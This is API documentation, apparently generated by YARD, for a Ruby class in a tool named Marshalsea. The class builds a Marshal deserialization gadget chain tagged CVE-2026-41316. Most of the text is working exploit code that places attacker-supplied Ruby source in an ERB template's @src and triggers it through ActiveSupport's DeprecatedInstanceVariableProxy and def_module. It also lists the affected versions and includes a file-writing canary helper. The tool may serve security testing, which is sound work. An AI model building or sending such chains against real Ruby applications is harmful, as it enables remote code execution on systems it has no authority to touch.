Class: Marshalsea::Chains::ErbDefModule

Inherits:
Base
  • Object
show all
Defined in:
lib/marshalsea/chains/erb_def_module.rb

Constant Summary collapse

CHAIN_NAME =
"erb-def-module"
VECTOR =
"hash"
CVE =
"CVE-2026-41316"
TARGET_GEM =
"erb"
REQUIRES =
["activesupport"].freeze
AFFECTED =
[
  ["< 4.0.3.1"],
  ["= 4.0.4"],
  [">= 5.0.0", "< 6.0.1.1"],
  [">= 6.0.2", "< 6.0.4"]
].map { |constraints| constraints.map(&:freeze).freeze }.freeze
PROXY_CLASS =
"ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"
DEPRECATOR_CLASS =
"ActiveSupport::Deprecation"
DISPATCH_METHOD =
:def_module
PROXY_LABEL =
"@marshalsea"
SRC_PREFIX =
"#\nend\n"
SRC_SUFFIX =
"\ndef _marshalsea_unused\n"
DEFAULT_FILENAME =
"(erb)"
DEFAULT_LINENO =
0
IVAR_SRC =
:@src
IVAR_FILENAME =
:@filename
IVAR_LINENO =
:@lineno
IVAR_INSTANCE =
:@instance
IVAR_METHOD =
:@method
IVAR_VAR =
:@var
IVAR_DEPRECATOR =
:@deprecator
IVAR_SILENCED =
:@silenced
CANARY_TEMPLATE =
"File.write(%<path>p, %<marker>p)"
MISSING_DISPATCHER =
"#{PROXY_CLASS} is not loaded; this chain needs activesupport".freeze
SET_IVAR =
Object.instance_method(:instance_variable_set).freeze
METADATA =
{
  name: CHAIN_NAME,
  vector: VECTOR,
  cve: CVE,
  gem: TARGET_GEM,
  affected: AFFECTED,
  kind: KIND_CHAIN,
  requires: REQUIRES
}.freeze

Constants inherited from Base

Base::HASH_WITH_ONE_ENTRY, Base::HEADER_BYTES, Base::KIND_CHAIN, Base::KIND_PRIMITIVE, Base::NIL_VALUE, Base::OBJECT_LINK_REFUSED, Base::SUBCLASS_MUST_DEFINE

Class Method Summary collapse

Instance Method Summary collapse

Methods inherited from Base

affected_requirements, affects?, chain?, chain_name, cve, inherited, kind, primitive?, required_gems, target_gem, vector

Constructor Details

#initialize(ruby_source) ⇒ ErbDefModule

Returns a new instance of ErbDefModule.



88
89
90
91
# File 'lib/marshalsea/chains/erb_def_module.rb', line 88

def initialize(ruby_source)
  super()
  @ruby_source = ruby_source
end

Class Method Details

.canary(path, marker) ⇒ Object



64
65
66
# File 'lib/marshalsea/chains/erb_def_module.rb', line 64

def self.canary(path, marker)
  new(format(CANARY_TEMPLATE, path: path, marker: marker))
end

.deprecator_classObject



83
84
85
86
# File 'lib/marshalsea/chains/erb_def_module.rb', line 83

def self.deprecator_class
  dispatcher_class
  Object.const_get(DEPRECATOR_CLASS)
end

.dispatcher_available?Boolean

Returns:

  • (Boolean)


68
69
70
71
72
73
# File 'lib/marshalsea/chains/erb_def_module.rb', line 68

def self.dispatcher_available?
  dispatcher_class
  true
rescue ChainError
  false
end

.dispatcher_classObject



75
76
77
78
79
80
81
# File 'lib/marshalsea/chains/erb_def_module.rb', line 75

def self.dispatcher_class
  require "active_support"
  require "active_support/deprecation"
  Object.const_get(PROXY_CLASS)
rescue LoadError, NameError
  raise ChainError, MISSING_DISPATCHER
end

.metadataObject



60
61
62
# File 'lib/marshalsea/chains/erb_def_module.rb', line 60

def self.
  METADATA
end

Instance Method Details

#deprecatorObject



114
115
116
117
118
# File 'lib/marshalsea/chains/erb_def_module.rb', line 114

def deprecator
  silent = self.class.deprecator_class.allocate
  silent.instance_variable_set(IVAR_SILENCED, true)
  silent
end

#generateObject



93
94
95
96
97
98
99
100
# File 'lib/marshalsea/chains/erb_def_module.rb', line 93

def generate
  proxy = self.class.dispatcher_class.allocate
  SET_IVAR.bind_call(proxy, IVAR_INSTANCE, template)
  SET_IVAR.bind_call(proxy, IVAR_METHOD, DISPATCH_METHOD)
  SET_IVAR.bind_call(proxy, IVAR_VAR, PROXY_LABEL)
  SET_IVAR.bind_call(proxy, IVAR_DEPRECATOR, deprecator)
  proxy
end

#serializeObject



102
103
104
# File 'lib/marshalsea/chains/erb_def_module.rb', line 102

def serialize
  in_hash_key_position(generate)
end

#srcObject



120
121
122
# File 'lib/marshalsea/chains/erb_def_module.rb', line 120

def src
  "#{SRC_PREFIX}#{@ruby_source}#{SRC_SUFFIX}"
end

#templateObject



106
107
108
109
110
111
112
# File 'lib/marshalsea/chains/erb_def_module.rb', line 106

def template
  object = ERB.allocate
  object.instance_variable_set(IVAR_SRC, src)
  object.instance_variable_set(IVAR_FILENAME, DEFAULT_FILENAME)
  object.instance_variable_set(IVAR_LINENO, DEFAULT_LINENO)
  object
end